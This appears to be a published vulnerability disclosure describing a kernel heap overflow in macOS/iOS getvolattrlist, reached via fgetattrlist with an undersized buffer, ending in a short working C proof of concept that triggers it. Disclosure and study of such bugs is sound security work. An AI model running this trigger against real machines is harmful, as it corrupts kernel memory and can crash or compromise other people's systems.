Apple macOS/iOS Kernel - Heap Overflow Due to Lack of Lower Size Check in getvolattrlist

/*
getvolattrlist takes a user controlled bufferSize argument via the fgetattrlist syscall.
 
When allocating a kernel buffer to serialize the attr list to there's the following comment:
 
  /*
   * Allocate a target buffer for attribute results.
   * Note that since we won't ever copy out more than the caller requested,
   * we never need to allocate more than they offer.
   */
  ab.allocated = ulmin(bufferSize, fixedsize + varsize);
  if (ab.allocated > ATTR_MAX_BUFFER) {
    error = ENOMEM;
    VFS_DEBUG(ctx, vp, "ATTRLIST - ERROR: buffer size too large (%d limit %d)", ab.allocated, ATTR_MAX_BUFFER);
    goto out;
  }
  MALLOC(ab.base, char *, ab.allocated, M_TEMP, M_ZERO | M_WAITOK);
 
The problem is that the code doesn't then correctly handle the case when the user supplied buffer size
is smaller that the requested header size. If we pass ATTR_CMN_RETURNED_ATTRS we'll hit the following code:
 
  /* Return attribute set output if requested. */
  if (return_valid) {
    ab.actual.commonattr |= ATTR_CMN_RETURNED_ATTRS;
    if (pack_invalid) {
      /* Only report the attributes that are valid */
      ab.actual.commonattr &= ab.valid.commonattr;
      ab.actual.volattr &= ab.valid.volattr;
    }
    bcopy(&ab.actual, ab.base + sizeof(uint32_t), sizeof (ab.actual));
  }
 
There's no check that the allocated buffer is big enough to hold at least that.
 
Tested on MacOS 10.13.4 (17E199)
*/
 
// ianbeer
#if 0
MacOS/iOS kernel heap overflow due to lack of lower size check in getvolattrlist
 
getvolattrlist takes a user controlled bufferSize argument via the fgetattrlist syscall.
 
When allocating a kernel buffer to serialize the attr list to there's the following comment:
 
    /*
     * Allocate a target buffer for attribute results.
     * Note that since we won't ever copy out more than the caller requested,
     * we never need to allocate more than they offer.
     */
    ab.allocated = ulmin(bufferSize, fixedsize + varsize);
    if (ab.allocated > ATTR_MAX_BUFFER) {
        error = ENOMEM;
        VFS_DEBUG(ctx, vp, "ATTRLIST - ERROR: buffer size too large (%d limit %d)", ab.allocated, ATTR_MAX_BUFFER);
        goto out;
    }
    MALLOC(ab.base, char *, ab.allocated, M_TEMP, M_ZERO | M_WAITOK);
 
The problem is that the code doesn't then correctly handle the case when the user supplied buffer size
is smaller that the requested header size. If we pass ATTR_CMN_RETURNED_ATTRS we'll hit the following code:
 
    /* Return attribute set output if requested. */
    if (return_valid) {
        ab.actual.commonattr |= ATTR_CMN_RETURNED_ATTRS;
        if (pack_invalid) {
            /* Only report the attributes that are valid */
            ab.actual.commonattr &= ab.valid.commonattr;
            ab.actual.volattr &= ab.valid.volattr;
        }
        bcopy(&ab.actual, ab.base + sizeof(uint32_t), sizeof (ab.actual));
    }
 
There's no check that the allocated buffer is big enough to hold at least that.
 
Tested on MacOS 10.13.4 (17E199)
 
#endif
 
#include <stdio.h>
#include <stdlib.h>
#include <fcntl.h>
#include <unistd.h>
#include <sys/attr.h>
 
int main() {
  int fd = open("/", O_RDONLY);
  if (fd == -1) {
    perror("unable to open fs root\n");
    return 0;
  }
 
  struct attrlist al = {0};
 
  al.bitmapcount = ATTR_BIT_MAP_COUNT;
  al.volattr = 0xfff;
  al.commonattr = ATTR_CMN_RETURNED_ATTRS;
 
  size_t attrBufSize = 16;
  void* attrBuf = malloc(attrBufSize);
  int options = 0;
 
  int err = fgetattrlist(fd, &al, attrBuf, attrBufSize, options);
  printf("err: %d\n", err);
  return 0;
}